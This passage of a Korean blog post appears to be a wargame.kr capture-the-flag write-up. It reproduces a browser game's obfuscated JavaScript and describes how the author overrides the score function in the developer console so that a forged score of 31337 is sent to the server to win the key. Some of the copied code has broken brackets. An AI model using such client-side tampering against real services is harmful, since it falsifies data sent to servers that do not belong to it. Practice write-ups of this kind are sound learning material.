    if (c_r > 60) {
        c_r = 0;
        t_state = Math[_0x32bb[37]](Math[_0x32bb[36]]() * 2)
    };
    if (left_wall[0< 10) {
        t_state = 1
    } else {
        if (right_wall[0> 470) {
            t_state = 0
        }
    };
    y = 0;
    for (y = 20; y > 0; y--) {
        left_wall[y] = left_wall[y - 1];
        right_wall[y] = right_wall[y - 1]
    };
    if (t_state == 0) {
        left_wall[0-= 3
    };
    if (t_state == 1) {
        left_wall[0+= 3
    };
    right_wall[0= left_wall[0+ BTunnelGame[_0x32bb[5]]();
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ left_wall[_0x8618x16] + _0x32bb[14])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ right_wall[_0x8618x16] + _0x32bb[14])
    });
    if (BTunnelGame[_0x32bb[5]]() >= 120) {
        c_w++;
        if (c_w > 100) {
            c_w = 0;
            BTunnelGame[_0x32bb[4]]();
            left_wall[0+= 10
        }
    };
    c_s++;
    if (c_s > 20) {
        c_s = 0;
        BTunnelGame.BincScore();
        $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ BTunnelGame[_0x32bb[2]]())
    };
    if (ship_x <= left_wall[18+ 20 || ship_x + 32 >= right_wall[18]) {
        BTunnelGame[_0x32bb[0]]()
    };
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
};
function scoreUpdate() {
    return
};
function showHighScores(_0x8618x19) {
    $(_0x32bb[25])[_0x32bb[45]](_0x8618x19);
    $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
};
$(document)[_0x32bb[52]](function () {
    $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[17]);
    updateToken();
    setInterval(_0x32bb[47], 10000);
    $(_0x32bb[46])[_0x32bb[26]](function () {
        $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        initTunnel();
        updateTunnel()
    });
    $(_0x32bb[50])[_0x32bb[49]](function () {
        $(this)[_0x32bb[45]](_0x32bb[48])
    });
    $(_0x32bb[50])[_0x32bb[51]](function () {
        $(this)[_0x32bb[45]](temp)
    })
});
var temp = _0x32bb[53];
$(document)[_0x32bb[55]](function (_0x8618x1d) {
    pos_x = _0x8618x1d[_0x32bb[54]] - rail_left
});
var token = _0x32bb[13];
function updateToken() {
    $[_0x32bb[57]](_0x32bb[56], function (_0x8618x20) {
        token = _0x8618x20
    })
};
cs

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
cs

 

점수와 관련된 코드를 찾았다.

 

언팩한 코드를 개발자 도구>콘솔 을 이용해서 재정의 한 뒤, 게임을 한 판 하고 변수의 내용을 확인해 보았다.

 

 

 

 

 

BtunnelGame[_0x32bb[2]]() 함수가 점수를 반환하는 함수임을 알 수 있다.

 

 

 

따라서 해당 함수 대신에 "31337"을 넣어서 js코드 재정의 후

 

게임을 하면, 점수를 전송하는 페이지에 점수가 31337로 들어가게 되고, key를 얻을 수 있게 된다.

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22

+ Recent posts